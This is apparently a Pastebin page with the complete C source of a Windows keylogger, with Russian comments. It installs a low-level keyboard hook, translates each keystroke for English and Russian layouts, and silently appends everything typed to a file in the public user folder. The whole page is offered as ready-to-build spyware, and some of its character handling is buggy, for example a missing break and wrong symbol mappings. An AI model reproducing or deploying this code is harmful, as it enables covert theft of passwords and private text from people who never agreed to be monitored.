Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <Windows.h>
- //#include <Winuser.h> //всё, кроме WinMain держится на этом
- #include <malloc.h>
- #include <locale.h>
- #include <string.h>
- #include <stdio.h>
- //Видео тут: https://youtu.be/IHSrJuSCjeA
- #define SIZE_STR 1 << 8
- #define PATH L"C:\\Users\\Public\\key.log"
- #define RUS 0x0419
- #define ENG 0x0409
- BOOL IsCaps(void);
- LRESULT CALLBACK LogKey(int iCode, WPARAM wParam, LPARAM lParam);
- VOID WriteToFile(LPWSTR wstr);
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nCmdShow)
- {
- HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL,
- LogKey, NULL, NULL);
- MSG msg = { 0 };
- while (GetMessage(&msg, NULL, 0, 0))
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- UnhookWindowsHookEx(hHook);
- return 0;
- }
- BOOL IsCaps(void)
- {
- //GetKeyState используеться в основном для определения состояния нажатия системной кнопки
- //VK - Virtual Key
- if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0 ^
- (GetKeyState(VK_SHIFT) & 0x8000) != 0)
- return TRUE;
- return FALSE;
- }
- LRESULT CALLBACK LogKey(int iCode, WPARAM wParam, LPARAM lParam)
- {
- _wsetlocale(LC_ALL, L".866");
- if (wParam == WM_KEYDOWN)
- {
- PKBDLLHOOKSTRUCT pHook = (PKBDLLHOOKSTRUCT)lParam;
- DWORD iKey = MapVirtualKey(pHook->vkCode, NULL) << 16;
- if (!(pHook->vkCode <= 1 << 5)) // 32
- iKey |= 0x1 << 24; //Задаём истину для 24 бита
- LPWSTR wstr = (LPWSTR)calloc(SIZE_STR + 1, sizeof(WCHAR));
- GetKeyNameText(iKey, wstr, SIZE_STR);
- if (wcslen(wstr) > 1) //Если нажата не текстовая клавиша
- {
- WriteToFile((LPWSTR)"[");
- WriteToFile(wstr);
- WriteToFile((LPWSTR)"]");
- }
- else
- {
- if (IsCaps() == TRUE)
- {
- switch (wstr[0])
- {
- case '1':
- WriteToFile((LPWSTR)"!");
- break;
- case '2':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"@");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"\"");
- break;
- case '3':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"#");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"№");
- break;
- case '4':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"$");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)";");
- break;
- case '5':
- WriteToFile((LPWSTR)"%");
- break;
- case '6':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"^");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)":");
- case '7':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"&");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"?");
- break;
- case '8':
- WriteToFile((LPWSTR)"*");
- break;
- case '9':
- WriteToFile((LPWSTR)"(");
- break;
- case '0':
- WriteToFile((LPWSTR)")");
- break;
- case '-':
- WriteToFile((LPWSTR)"_");
- break;
- case '=':
- WriteToFile((LPWSTR)"+");
- break;
- case '[':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"{");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"Х");
- break;
- case ']':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"}");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"Ъ");
- break;
- case ';':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)":");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"Ж");
- break;
- case '\'':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"\"");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"Ж");
- break;
- case ',':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"<");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"Б");
- break;
- case '.':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)">");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"Ю");
- break;
- case '/':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"?");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)",");
- break;
- case '\\':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"|");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"/");
- break;
- case '`':
- if (LOWORD(GetKeyboardLayout(0)) == ENG)
- WriteToFile((LPWSTR)"~");
- else if (LOWORD(GetKeyboardLayout(0)) == RUS)
- WriteToFile((LPWSTR)"Ё");
- break;
- default:
- WriteToFile(wstr);
- break;
- }
- }
- else
- {
- wstr[0] = tolower(wstr[0]);
- WriteToFile(wstr);
- }
- }
- free(wstr);//!!!!
- }
- return CallNextHookEx(NULL, iCode, wParam, lParam);
- }
- VOID WriteToFile(LPWSTR wstr)
- {
- FILE* f = NULL;
- if (!_wfopen_s(&f, PATH, L"ab"))
- {
- fwrite(wstr, sizeof(WCHAR), wcslen(wstr), f);
- fclose(f);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement